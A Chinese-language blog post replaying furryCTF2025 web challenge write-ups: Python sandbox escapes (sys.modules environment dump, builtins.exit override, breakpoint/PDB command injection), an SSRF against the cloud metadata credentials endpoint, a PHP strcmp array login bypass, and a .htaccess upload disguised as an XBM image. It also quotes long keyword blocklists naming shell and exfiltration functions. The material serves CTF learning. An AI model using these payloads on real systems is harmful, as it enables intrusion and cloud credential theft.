首页 > 基础资料 博客日记

furryCTF2025wp(web方向部分解)

2026-04-16 18:00:02基础资料围观1

本篇文章分享furryCTF2025wp(web方向部分解),对你有帮助的话记得收藏一下,看极客资料网收获更多编程知识

没打这个比赛但是刷到了这个比赛的wp,有几题看起来挺有意思的,复现下看看

PyEditor

nb,头回见这么多解的题

题目

猫猫最近发现了一个在线编辑器,里面似乎有一段没有被正确删除的代码……?

import ast
import subprocess
import tempfile
import os
import time
import threading
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', secrets.token_hex(32))
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
socketio = SocketIO(app, cors_allowed_origins="*")

active_processes = {}

class PythonRunner:
    
    def __init__(self, code, args=""):
        self.code = code
        self.args = args
        self.process = None
        self.output = []
        self.running = False
        self.temp_file = None
        self.start_time = None
        
    def validate_code(self):
        try:
            if len(self.code) > int(os.environ.get('MAX_CODE_SIZE', 1024)):
                return False, "代码过长"
                
            tree = ast.parse(self.code)
            
            banned_modules = ['os', 'sys', 'subprocess', 'shlex', 'pty', 'popen', 'shutil', 'platform', 'ctypes', 'cffi', 'io', 'importlib']
            
            banned_functions = ['eval', 'exec', 'compile', 'input', '__import__', 'open', 'file', 'execfile', 'reload']
            
            banned_methods = ['system', 'popen', 'spawn', 'execv', 'execl', 'execve', 'execlp', 'execvp', 'chdir', 'kill', 'remove', 'unlink', 'rmdir', 'mkdir', 'makedirs', 'removedirs', 'read', 'write', 'readlines', 'writelines', 'load', 'loads', 'dump', 'dumps', 'get_data', 'get_source', 'get_code', 'load_module', 'exec_module']
            
            dangerous_attributes = ['__class__', '__base__', '__bases__', '__mro__', '__subclasses__', '__globals__', '__builtins__', '__getattribute__', '__getattr__', '__setattr__', '__delattr__', '__call__']
            
            for node in ast.walk(tree):
                if isinstance(node, ast.Import):
                    for name in node.names:
                        if name.name in banned_modules:
                            return False, f"禁止导入模块: {name.name}"
                        
                elif isinstance(node, ast.ImportFrom):
                    if node.module in banned_modules:
                        return False, f"禁止从模块导入: {node.module}"
                
                elif isinstance(node, ast.Call):
                    if isinstance(node.func, ast.Name):
                        if node.func.id in banned_functions:
                            return False, f"禁止调用函数: {node.func.id}"
                    
                    elif isinstance(node.func, ast.Attribute):
                        if node.func.attr in banned_methods:
                            return False, f"禁止调用方法: {node.func.attr}"
                    
                    elif isinstance(node.func, ast.Name):
                        if node.func.id == 'open':
                            return False, "禁止文件操作"
                
                elif isinstance(node, ast.With):
                    for item in node.items:
                        if isinstance(item.context_expr, ast.Call):
                            if isinstance(item.context_expr.func, ast.Name):
                                if item.context_expr.func.id == 'open':
                                    return False, "禁止文件操作"
                
                elif isinstance(node, ast.Attribute):
                    if node.attr in dangerous_attributes:
                        if isinstance(node.value, ast.Call) or isinstance(node.value, ast.Name):
                            return False, f"禁止访问危险属性: {node.attr}"
                
                elif isinstance(node, ast.Subscript):
                    if isinstance(node.value, ast.Attribute):
                        if node.value.attr == '__subclasses__':
                            return False, "禁止访问__subclasses__"
            
            return True, "代码验证通过"
            
        except SyntaxError as e:
            return False, f"语法错误: {str(e)}"
        except Exception as e:
            return False, f"验证错误: {str(e)}"
    
    def create_script(self):
        try:
            self.temp_file = tempfile.NamedTemporaryFile(
                mode='w', 
                suffix='.py', 
                dir='/tmp',
                delete=False
            )
            
            wrapper = """
import sys

def safe_exec():
    try:
{indented_code}
        return 0
    except SystemExit as e:
        return e.code if isinstance(e.code, int) else 0
    except Exception as e:
        print(f"执行错误: {{e}}", file=sys.stderr)
        return 1

sys.argv = ['sandbox.py'] + {args}

exit_code = safe_exec()

exit()
# Hey bro, don't forget to remove this before release!!!
import os
import sys

flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''

try:
    with open('/flag.txt', 'w') as f:
        f.write(flag_content)
except:
    pass
"""
            
            indented_code = '\n'.join(['        ' + line for line in self.code.split('\n')])
            
            full_code = wrapper.format(
                indented_code=indented_code,
                args=str(self.args.split() if self.args else [])
            )
            
            self.temp_file.write(full_code)
            self.temp_file.flush()
            os.chmod(self.temp_file.name, 0o755)
            
            return self.temp_file.name
            
        except Exception as e:
            raise Exception(f"创建脚本失败: {str(e)}")
    
    def run(self):
        try:
            is_valid, message = self.validate_code()
            if not is_valid:
                self.output.append(f"验证失败: {message}")
                return False
                
            script_path = self.create_script()
            
            cmd = ['python', script_path]
            if self.args:
                cmd.extend(self.args.split())
            
            self.process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.PIPE,
                text=True,
                bufsize=1,
                universal_newlines=True
            )
            
            self.running = True
            self.start_time = time.time()
            
            def read_output():
                while self.process and self.process.poll() is None:
                    try:
                        line = self.process.stdout.readline()
                        if line:
                            self.output.append(line.strip())
                            socketio.emit('output', {'data': line})
                    except:
                        break
                
                stdout, stderr = self.process.communicate()
                if stdout:
                    for line in stdout.split('\n'):
                        if line.strip():
                            self.output.append(line.strip())
                            socketio.emit('output', {'data': line})
                if stderr:
                    for line in stderr.split('\n'):
                        if line.strip():
                            self.output.append(f"错误: {line.strip()}")
                            socketio.emit('output', {'data': f"错误: {line}"})
                
                self.running = False
                socketio.emit('process_end', {'pid': self.process.pid})
            
            thread = threading.Thread(target=read_output)
            thread.daemon = True
            thread.start()
            
            return True
            
        except Exception as e:
            self.output.append(f"运行失败: {str(e)}")
            return False
    
    def send_input(self, data):
        if self.process and self.process.poll() is None:
            try:
                self.process.stdin.write(data + '\n')
                self.process.stdin.flush()
                return True
            except:
                return False
        return False
    
    def terminate(self):
        if self.process and self.process.poll() is None:
            self.process.terminate()
            self.process.wait(timeout=5)
            self.running = False
            
            if self.temp_file:
                try:
                    os.unlink(self.temp_file.name)
                except:
                    pass
            return True
        return False

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api/run', methods=['POST'])
def run_code():
    data = request.json
    code = data.get('code', '')
    args = data.get('args', '')
    
    runner = PythonRunner(code, args)
    
    pid = secrets.token_hex(8)
    active_processes[pid] = runner
    
    success = runner.run()
    
    if success:
        return jsonify({
            'success': True,
            'pid': pid,
            'message': '进程已启动'
        })
    else:
        return jsonify({
            'success': False,
            'message': '启动失败'
        })

@app.route('/api/terminate', methods=['POST'])
def terminate_process():
    data = request.json
    pid = data.get('pid')
    
    if pid in active_processes:
        active_processes[pid].terminate()
        del active_processes[pid]
        return jsonify({'success': True})
    
    return jsonify({'success': False, 'message': '进程不存在'})

@app.route('/api/send_input', methods=['POST'])
def send_input():
    data = request.json
    pid = data.get('pid')
    input_data = data.get('input', '')
    
    if pid in active_processes:
        success = active_processes[pid].send_input(input_data)
        return jsonify({'success': success})
    
    return jsonify({'success': False})

@socketio.on('connect')
def handle_connect():
    emit('connected', {'data': 'Connected'})

@socketio.on('disconnect')
def handle_disconnect():
    pass

if __name__ == '__main__':
    socketio.run(app, host='0.0.0.0', port=5000, debug=False, allow_unsafe_werkzeug=True)

image-20260314133217365

法一(sys.moudles):

代码审计发现模块函数方法文件操作都有些被ban了

# Hey bro, don't forget to remove this before release!!!
import os
import sys

flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''

try:
    with open('/flag.txt', 'w') as f:
        f.write(flag_content)
except:
    pass

由此得知flag可能在环境变量或/flag.txt中

发现源代码的过滤不是很严格,他的过滤使用的是

image-20260314140201144

只有对ast.Import一类写法的限制

也就是不能写 import osos.system

但是可以__import__("os").system("calc")

也就是说我们可以使用已存在的方式构造

学习下Python的模块导入机制:

在 Python 中,解释器启动或者运行某些初始化脚本时,往往需要用到 ossys 模块。 当一个模块被导入过一次后,Python 会把它缓存在一个全局字典里:sys.modules

图片

搜索也可得知,sys.modules是模块缓存字典,我们首先确认一下sys能不能使用,使用以下代码

print(sys)

没回显也没报错

打印所有已加载模块的名称列表

print(list(sys.modules.keys()))
['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', '__main__', '_abc', 'abc', '_stat', 'stat', '_collections_abc', 'errno', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'site']

我们发现有os模块,尝试打印环境变量,输入以下代码

print(sys.modules['os'].environ)
environ({'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'HOSTNAME': '0c3adc909bc3', 'GZCTF_FLAG': 'furryCTF{D0_N0t_For9e7_t0_rem0V3_d3bu9_wHEn_ade51c346631_re1e4s3}', 'GZCTF_TEAM_ID': '747', 'PYTHON_VERSION': '3.14.2', 'PYTHON_SHA256': 'ce543ab854bc256b61b71e9b27f831ffd1bfd60a479d639f8be7f9757cf573e9', 'HOME': '/root', 'LC_CTYPE': 'C.UTF-8', 'WERKZEUG_SERVER_FD': '3'})

拿到flag

法二(builtins修改代码):

exit()
# Hey bro, don't forget to remove this before release!!!
import os
import sys

flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''

try:
    with open('/flag.txt', 'w') as f:
        f.write(flag_content)
except:
    pass
"""

我们注意到后面部分代码不被执行是因为前面有exit()

我们可以尝试使其失效

import builtins

# 让 wrapper 的 exit() 失效
builtins.exit = lambda *a, **k: None
#或者
#__builtins__.exit = lambda: None

f = builtins.open('/flag.txt', 'r')
for line in f:
    print(line, end='')
f.close()

ok

法三(python3.1breakpoint新参数):

看到默认程序print("Hello Python 3.14!")

Python3.14中breakpoint()有一个新特性,他支持了一个新参数:commands

这个参数允许你传入一个命令列表,当breakpoint()开始执行时,他将会自动依次传入操作命令(这相当于一个调试器,n代表next,j代表jump,p代表print)

我们需要利用jump命令跳过exit(),但是jump只能在同一代码块下进行,所以我们首先需要从safe_exec()函数返回,并尝试着找到exit()的位置

def safe_exec():
    try:
{indented_code}
        return 0
    except SystemExit as e:
        return e.code if isinstance(e.code, int) else 0
    except Exception as e:
        print(f"执行错误: {{e}}", file=sys.stderr)
        return 1

sys.argv = ['sandbox.py'] + {args}

exit_code = safe_exec()

exit()

不方便看的话就挨个试,最后确定需要3个

breakpoint(commands=['n']*3)

回显exit()

breakpoint(commands=['n']*3+['j 20'])

回显import os

再往下执行3行,flag就被赋值到变量中,然后读取

breakpoint(commands=['n']*3+['j 20']+['n']*3+['p flag_content'])
# 或者
breakpoint(commands=['n','n','n','j 20','n','n','n','p flag_content'])

法四(全角绕过):

g = [globals][0]()
print(g['flag_content'])

这啥啊,也跑不出来啊

其他解

好几个跑不出来???这啥啊,官方wp

https://fcnfx4l45efr.feishu.cn/wiki/JHJowCDz9iwEGwkTp3Hc9C8Hnif

https://dcntycecetdh.feishu.cn/wiki/W3m8wlCy4iDIqJkgCgjcGMzmnee

CCPreview

题目

为了测试内网服务的连通性,【数据删除】开发组上线了一个简单的网页预览工具。
据说该服务部署在 AWS 也就是亚马逊云服务上,属于EC2实例……
虽然它看起来只是一个简单的 curl 代理.jpg
“话说,咱们就这么部署在这里,真的没问题吗……”
“怕啥,这就一个curl,能有什么漏洞?”

image-20260314150558073

像SSRF

访问http://169.254.169.254/latest/meta-data/(固定打法,积累下)

iam/
network/
public-hostname/

iam和权限凭证有关

http://169.254.169.254/latest/meta-data/iam
security-credentials/

security-credentials和安全凭证有关

http://169.254.169.254/latest/meta-data/iam/security-credentials/

返回的是角色名称

admin-role

image-20260314151243819

猫猫最后的复仇

题目

这次猫猫长记性了,把多余的代码给移除了。
但是猫猫很不服气,他觉得只要把环境变量清空,你们就不可能拿到flag。
为此他甚至升级了一下他的AST分析和黑名单替换,ban掉了import。
哼哼唧唧!
不信你们还能绕过呜呜呜~

本题可以看成PyEditor的DLC
好消息是依旧存在一种思路可以同时拿到本题和PyEditor的分数
(也就是相当于PyEditor荣升1100分,IN+难度)
坏消息是,真的有人能找到这种思路吗?
求求有人写个预期解吧呜呜呜呜

import ast
import subprocess
import tempfile
import os
import time
import threading
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', secrets.token_hex(32))
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
socketio = SocketIO(app, cors_allowed_origins="*")

active_processes = {}

banned = ['os','sys','subprocess','shlex','pty','popen','shutil','platform','ctypes','cffi','io','importlib','linecache','inspect','builtins',\
        'yaml','fcntl','functools','itertools','operator','readline','getpass','pprint','pipes','pathlib','pdb','Path','codecs','fileinput',\
        'mmap','runpy','difflib','tempfile','glob','gc','threading','multiprocessing','dis','logging','_thread','atexit','urllib','request',\
        'self','modules','help','warnings','pydoc','load_module','object','bytes','weakref','reprlib','encode','future','uuid','multi','posix',\
        'CGIHTTPServer','cgitb','compileall','dircache','doctest', 'dumbdbm', 'filecmp','ftplib','gzip','getopt','gettext','httplib','popen2',\
        'imputil','macpath','mailbox','mailcap','mhlib','mimetools','mimetypes','modulefinder','netrc','new','optparse','SimpleHTTPServer',\
        'posixfile','profile','pstats','py_compile','pyclbr','rexec','SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',\
        'sysconfig', 'tabnanny', 'tarfile', 'telnetlib','Tix', 'trace', 'turtle', 'urllib', 'urllib2','user', 'uu', 'webbrowser', 'whichdb',\
        'zipfile', 'zipimport','eval','exec','compile','input','__import__','open','file','execfile','reload','globals','items','keys',\
         'values','getline','getlines','isinstance','__build_class__','help','type','super','getattr','setattr','vars','property',\
        'staticmethod','classmethod','dir','object','read_text','__subclasses__','fileno','get_data','locals','get','_current_frames',\
        'f_locals','f_globals','f_back','settrace','setprofile','tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts',\
        'co_names','basicConfig','get_objects','startswith','dumps','request','urlopen','response','get_content','decode','self',\
        'modules','environ','breakpointhook','set_trace','interaction','gi_frame','stdout','stderr','stdin','StringIO','fork_exec',\
        'path','_Printer__filenames','system','popen','spawn','execv','execl','execve','execlp','execvp','chdir','kill','remove','unlink','rmdir','mkdir','makedirs',\
        'removedirs','read','write','readlines','writelines','load','loads','dump','dumps','get_data','get_source','get_code','load_module',\
        'exec_module','items','keys','values','getline','getlines','__globals__','__dict__','__build_class__','help','type','super',\
        'getattr','setattr','vars','property','staticmethod','classmethod','dir','object','read_text','__subclasses__','__bases__',\
        '__class__','fileno','ACCESS_READ','locals','get','_current_frames','f_locals','f_globals','f_back','settrace','setprofile',\
        'tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts','co_names','basicConfig','get_objects','interaction',\
        'startswith','request','urlopen','response','get_content','decode','self','modules','environ','breakpointhook','set_trace',\
        'gi_frame','stdout','stderr','stdin','StringIO','reload','fork_exec','path','_Printer__filenames','__class__','__base__','__bases__',\
        '__mro__','__subclasses__','__globals__','__builtins__','__getattribute__','__getattr__','__setattr__','__delattr__','__call__',\
        '__dict__','__reduce_ex__','__getitem__','__loader__','__doc__','__weakref__','__enter__','__exit__','__sub__','__mul__',\
        '__floordiv__','__truediv__','__mod__','__pow__','__lt__','__le__','__eq__','__ne__','__ge__','__gt__','__iadd__','__isub__',\
        '__imul__','__ifloordiv__','__idiv__','__itruediv__','__future__','__imod__','__ipow__','__ilshift__','__irshift__','__iand__',\
        '__ior__','__ixor__','.txt','txt','ag.txt','ag.t','g.t','__main__','__prepare__','__init_subclass__','currentframe','cmd','shell','bash',\
        'import','@','__name__']

def remove_non_ascii(text: str) -> str:
    return ''.join(char for char in text if ord(char) < 128)

class PythonRunner:

    def __init__(self, code, args=""):
        self.code = code
        self.args = args
        self.process = None
        self.output = []
        self.running = False
        self.temp_file = None
        self.start_time = None

    def extract_names(self, node):
        names = []
        while True:
            if isinstance(node, ast.Attribute):
                names.append(node.attr)
                node = node.value
            elif isinstance(node, ast.Call):
                node = node.func
            elif isinstance(node, ast.Subscript):
                node = node.value
            elif isinstance(node, ast.Name):
                names.append(node.id)
                break
            else:
                break
        return list(reversed(names))

    def validate_code(self):
        try:
            if len(self.code) > int(os.environ.get('MAX_CODE_SIZE', 1024)):
                return False, "代码过长"

            tree = ast.parse(self.code)

            banned_modules = ['os','sys','subprocess','shlex','pty','popen','shutil','platform','ctypes','cffi','io','importlib','linecache','inspect','builtins',\
                              'yaml','fcntl','functools','itertools','operator','readline','getpass','pprint','pipes','pathlib','pdb','Path','codecs','fileinput',\
                            'mmap','runpy','difflib','tempfile','glob','gc','threading','multiprocessing','dis','logging','_thread','atexit','urllib','request',\
                            'self','modules','help','warnings','pydoc','load_module','object','bytes','weakref','reprlib','encode','future','uuid','multi','posix',\
                            'CGIHTTPServer','cgitb','compileall','dircache','doctest', 'dumbdbm', 'filecmp','ftplib','gzip','getopt','gettext','httplib','popen2',\
                            'imputil','macpath','mailbox','mailcap','mhlib','mimetools','mimetypes','modulefinder','netrc','new','optparse','SimpleHTTPServer',\
                            'posixfile','profile','pstats','py_compile','pyclbr','rexec','SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',\
                            'sysconfig', 'tabnanny', 'tarfile', 'telnetlib','Tix', 'trace', 'turtle', 'urllib', 'urllib2','user', 'uu', 'webbrowser', 'whichdb',\
                            'zipfile', 'zipimport','__main__','__prepare__','__init_subclass__','currentframe','timeit']

            banned_functions = ['eval','exec','compile','input','__import__','open','file','execfile','reload','globals','items','keys','values','getline',\
                                'getlines','isinstance','__build_class__','help','type','super','getattr','setattr','vars','property','staticmethod',\
                                'classmethod','dir','object','read_text','__subclasses__','fileno','get_data','locals','get','_current_frames','f_locals',\
                                'f_globals','f_back','settrace','setprofile','tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts',\
                                'co_names','basicConfig','get_objects','startswith','dumps','request','urlopen','response','get_content','decode','self',\
                                'modules','environ','breakpointhook','set_trace','interaction','gi_frame','stdout','stderr','stdin','StringIO','fork_exec',\
                                'path','_Printer__filenames','f','__main__','__prepare__','__init_subclass__','currentframe','timeit']

            banned_methods = ['system','popen','spawn','execv','execl','execve','execlp','execvp','chdir','kill','remove','unlink','rmdir','mkdir','makedirs',\
                              'removedirs','read','write','readlines','writelines','load','loads','dump','dumps','get_data','get_source','get_code','load_module',\
                            'exec_module','items','keys','values','getline','getlines','__globals__','__dict__','__build_class__','help','type','super',\
                            'getattr','setattr','vars','property','staticmethod','classmethod','dir','object','read_text','__subclasses__','__bases__',\
                            '__class__','fileno','ACCESS_READ','locals','get','_current_frames','f_locals','f_globals','f_back','settrace','setprofile',\
                            'tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts','co_names','basicConfig','get_objects','interaction',\
                            'startswith','request','urlopen','response','get_content','decode','self','modules','environ','breakpointhook','set_trace',\
                            'gi_frame','stdout','stderr','stdin','StringIO','reload','fork_exec','path','_Printer__filenames','f','__main__','__prepare__',\
                            '__init_subclass__','currentframe','timeit']

            dangerous_attributes = ['__class__','__base__','__bases__','__mro__','__subclasses__','__globals__','__builtins__','__getattribute__',\
                                    '__getattr__','__setattr__','__delattr__','__call__','__dict__','__reduce_ex__','__getitem__','__loader__',\
                                    '__doc__','__weakref__','__enter__','__exit__','__sub__','__mul__','__floordiv__','__truediv__','__mod__',\
                                    '__pow__','__lt__','__le__','__eq__','__ne__','__ge__','__gt__','__iadd__','__isub__','__imul__','__ifloordiv__',\
                                    '__idiv__','__itruediv__','__future__','__imod__','__ipow__','__ilshift__','__irshift__','__iand__','__ior__',\
                                    '__ixor__','__main__','__prepare__','__init_subclass__','__name__']

            banned_functions += banned_modules + dangerous_attributes
            banned_methods += banned_modules + dangerous_attributes

            for node in ast.walk(tree):

                if isinstance(node, ast.Import):
                    for name in node.names:
                        if name.name.split('.')[0] in banned_modules:
                            return False, f"禁止导入模块: {name.name}"

                elif isinstance(node, ast.ImportFrom):
                    if node.module and node.module.split('.')[0] in banned_modules:
                        return False, f"禁止从模块导入: {node.module}"

                elif isinstance(node, ast.Call):
                    chain = self.extract_names(node)
                    for name in chain:
                        if name in banned_functions or name in banned_methods:
                            return False, f"禁止调用: {name}"

                elif isinstance(node, ast.Attribute):
                    chain = self.extract_names(node)
                    for name in chain:
                        if name in dangerous_attributes:
                            return False, f"禁止访问危险属性: {name}"

                elif isinstance(node, ast.Subscript):
                    chain = self.extract_names(node)
                    if '__subclasses__' in chain:
                        return False, "禁止访问__subclasses__"

                elif isinstance(node, ast.With):
                    for item in node.items:
                        if isinstance(item.context_expr, ast.Call):
                            chain = self.extract_names(item.context_expr)
                            if 'open' in chain:
                                return False, "禁止文件操作"

            return True, "代码验证通过"

        except SyntaxError as e:
            return False, f"语法错误: {str(e)}"
        except Exception as e:
            return False, f"验证错误: {str(e)}"

    def create_script(self):
        try:
            self.temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', dir='/tmp', delete=False)

            wrapper = """
import sys
import os
if(os.environ.get('GZCTF_FLAG', '')!=''):
    flag_content = os.environ.get('GZCTF_FLAG', '')
    try:
        with open('/flag.txt', 'w') as f:
            f.write(flag_content)
    except:
        pass
else:
    with open('/flag.txt', 'r') as f:
        flag_content=f.read()
os.environ['GZCTF_FLAG'] = ''
def safe_exec():
    try:
        flag_content = ""
{indented_code}
        return 0
    except SystemExit as e:
        return e.code if isinstance(e.code, int) else 0
    except Exception as e:
        print(f"执行错误: {{e}}", file=sys.stderr)
        return 1

sys.argv = ['sandbox.py']
exit_code = safe_exec()
exit()
"""
            indented_code = '\n'.join(['        ' + line for line in self.code.split('\n')]).replace('flag.txt','').replace("GZCTF_FLAG","").replace("@","")
            while True:
                save_code = indented_code
                indented_code = remove_non_ascii(indented_code).replace('flag.txt','').replace("GZCTF_FLAG","").replace("@","")
                for _ in banned:
                    indented_code = indented_code.replace(_,"")
                if(save_code==indented_code):
                    break
            self.temp_file.write(wrapper.format(indented_code=indented_code))
            self.temp_file.flush()
            os.chmod(self.temp_file.name, 0o755)
            return self.temp_file.name

        except Exception as e:
            raise Exception(f"创建脚本失败: {str(e)}")

    def run(self):
        try:
            is_valid, message = self.validate_code()
            if not is_valid:
                self.output.append(f"验证失败: {message}")
                return False

            script_path = self.create_script()
            cmd = ['python', script_path]
            if self.args:
                cmd.extend(self.args.split())

            self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, text=True, bufsize=1, universal_newlines=True)
            self.running = True
            self.start_time = time.time()

            def read_output():
                while self.process and self.process.poll() is None:
                    try:
                        line = self.process.stdout.readline()
                        if line:
                            socketio.emit('output', {'data': line})
                    except:
                        break

                stdout, stderr = self.process.communicate()
                if stdout:
                    socketio.emit('output', {'data': stdout})
                if stderr:
                    socketio.emit('output', {'data': stderr})
                socketio.emit('process_end', {'pid': self.process.pid})

            threading.Thread(target=read_output, daemon=True).start()
            return True

        except Exception as e:
            self.output.append(f"运行失败: {str(e)}")
            return False

    def send_input(self, data):
        if self.process and self.process.poll() is None:
            try:
                self.process.stdin.write(data + '\n')
                self.process.stdin.flush()
                return True
            except:
                return False
        return False

    def terminate(self):
        if self.process and self.process.poll() is None:
            self.process.terminate()
            self.process.wait(timeout=5)
            self.running = False
            if self.temp_file:
                try:
                    os.unlink(self.temp_file.name)
                except:
                    pass
            return True
        return False

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api/run', methods=['POST'])
def run_code():
    data = request.json
    code = data.get('code', '')
    args = data.get('args', '')
    runner = PythonRunner(code, args)
    pid = secrets.token_hex(8)
    active_processes[pid] = runner
    success = runner.run()
    if success:
        return jsonify({'success': True,'pid': pid,'message': '进程已启动'})
    else:
        return jsonify({'success': False,'message': '启动失败'})

@app.route('/api/terminate', methods=['POST'])
def terminate_process():
    data = request.json
    pid = data.get('pid')
    if pid in active_processes:
        active_processes[pid].terminate()
        del active_processes[pid]
        return jsonify({'success': True})
    return jsonify({'success': False,'message': '进程不存在'})

@app.route('/api/send_input', methods=['POST'])
def send_input():
    data = request.json
    pid = data.get('pid')
    input_data = data.get('input', '')
    if pid in active_processes:
        success = active_processes[pid].send_input(input_data)
        return jsonify({'success': success})
    return jsonify({'success': False})

@socketio.on('connect')
def handle_connect():
    emit('connected', {'data': 'Connected'})

@socketio.on('disconnect')
def handle_disconnect():
    pass

if __name__ == '__main__':
    socketio.run(app, host='0.0.0.0', port=5000, debug=False, allow_unsafe_werkzeug=True)

法一:

依旧可以通过利用python3.1breakpoint新参数拿flag

法二:

核心原理

黑名单遗漏:附件源码后端 app.py 虽然过滤了 os、exec、import 等大量危险关键词,但遗漏了 Python 3.7+ 的内置函数 breakpoint()。

交互式执行:breakpoint() 会启动 PDB 调试器,该调试器允许用户通过标准输入(stdin)执行任意 Python 代码。

输入未过滤:后端仅对提交的“源代码”进行了严格过滤,但对运行期间通过 /api/send_input 接口传入的“标准输入”没有任何检测。

攻击链:提交 breakpoint() 绕过静态检查 -> 进入 PDB 调试模式 -> 通过 API 发送恶意 Payload -> PDB 执行 Payload 读取 Flag。

breakpoint()

f12控制台

var pid = "006a70be9a47f554";
fetch('/api/send_input', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        pid: pid,
        input: "print(open('/flag.txt').read())"
    })
});

拿到flag

其实就是POST请求,burp抓包发送下面的内容也可以

{
    "pid": "006a70be9a47f554",
    "input": "print(open('/flag.txt').read())"
}

SSO Drive

其实最想学习的是这道,有很多新知识

题目

身为红队的你发现,自己渗透的蓝方目标中似乎刚刚上线了一个新的目标:内部云盘。
大概是蓝方的安全团队确信他们已经修复了所有逻辑漏洞,这里已经不会出问题了。
而且,看起来他们为了以防万一,部署了一套极为严格的文件上传审查策略。
也正是如此,他们才敢如此大胆的就把这个云盘暴露出来。

好在,通过对其他资产目标的社工,你得知了这样两个情报:

1.负责认证模块的开发小哥有着随手备份源码的好习惯,虽然从蓝方聊天平台泄露出来的消息来看,他似乎发誓说新的密码校验逻辑是无懈可击的?
2.蓝方运维团队泄露的内部公告指出,为了兼容旧系统,他们不得不在服务器后台运行了一个陈旧服务用于内部远程管理。

flag3在/root里

image-20260314153359837

看到“有备份源码的习惯”就知道要dirsearch了

image-20260314154023159

下载源码

db.sql

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(255) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', 'placeholder');

index.php.bak

<?php
// Backup 2026-01-20 by Dev Team
// TODO: Fix the comparison logic later?
session_start();
$REAL_PASSWORD = 'THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $u = $_POST['username'];
    $p = $_POST['password'];
    if ($u === 'admin') {
        // Dev Note: using strcmp for binary safe comparison
        if (strcmp($p, $REAL_PASSWORD) == 0) {
            $_SESSION['is_admin'] = true;
            header("Location: dashboard.php");
            exit;
        } else {
            $error = "Password Wrong";
        }
    }
}
?>

e,原来THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712只是表示我们不知道这个密码,我还以为密码就是这个呢...

index.php.bak 源码中,我们可以看到核心的密码验证逻辑:

if ($u === 'admin') {
    // Dev Note: using strcmp for binary safe comparison
    if (strcmp($p, $REAL_PASSWORD) == 0) {
        $_SESSION['is_admin'] = true;
        // ...
    }
}

漏洞点: 使用了 strcmp(REAL_PASSWORD) == 0 进行比较。 在 PHP(尤其是 5.x 和 7.x 版本)中,strcmp() 函数有一个著名的缺陷:如果比较的参数中一个是字符串,另一个是数组(Array),它会报错(Warning)并返回 NULL(在 PHP 8.0+ 之前)。

在 PHP 的弱类型比较(==)中,NULL == 0 是成立的(True)。

利用方法: 我们要欺骗服务器,让它认为我们输入了正确的密码。只需要将 password 参数改为数组形式发送即可。

hackbar POST

username=admin&password[]=1

image-20260314161705749

文件上传?试试

发现正常上传.htaccess会失败

AddType application/x-httpd-php .jpg

image-20260314162344644

利用 XBM 图片格式制作“图片马”格式的配置文件

Apache 配置文件:.htaccess 支持 # 作为注释符号,Apache 会忽略以 # 开头的行。 XBM 图片格式:这是一种古老的图片格式,其文件头部特征正好是用 C 语言宏定义表示的,例如 #define width 10。 结合点:我们可以构造一个文件,前两行写成 XBM 的格式(以此欺骗 PHP 的图片检测函数),第三行写 Apache 的配置指令。Apache 读取时会把前两行当注释,只执行第三行。

修改点

Filename: .htaccess
Content-Type: image/jpeg (或者是 image/x-xbitmap,建议先试 jpeg 欺骗 MIME 检查)
Content: 使用 #define 开头,骗过图片检测。

请求内容

POST /upload.php HTTP/1.1
Host: ctf.furryctf.com:37395
Content-Length: 271
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://ctf.furryctf.com:37395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJwabDUs913acvajA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.furryctf.com:37395/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection: keep-alive

------WebKitFormBoundaryJwabDUs913acvajA
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/octet-stream

#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryJwabDUs913acvajA--

image-20260314162433846

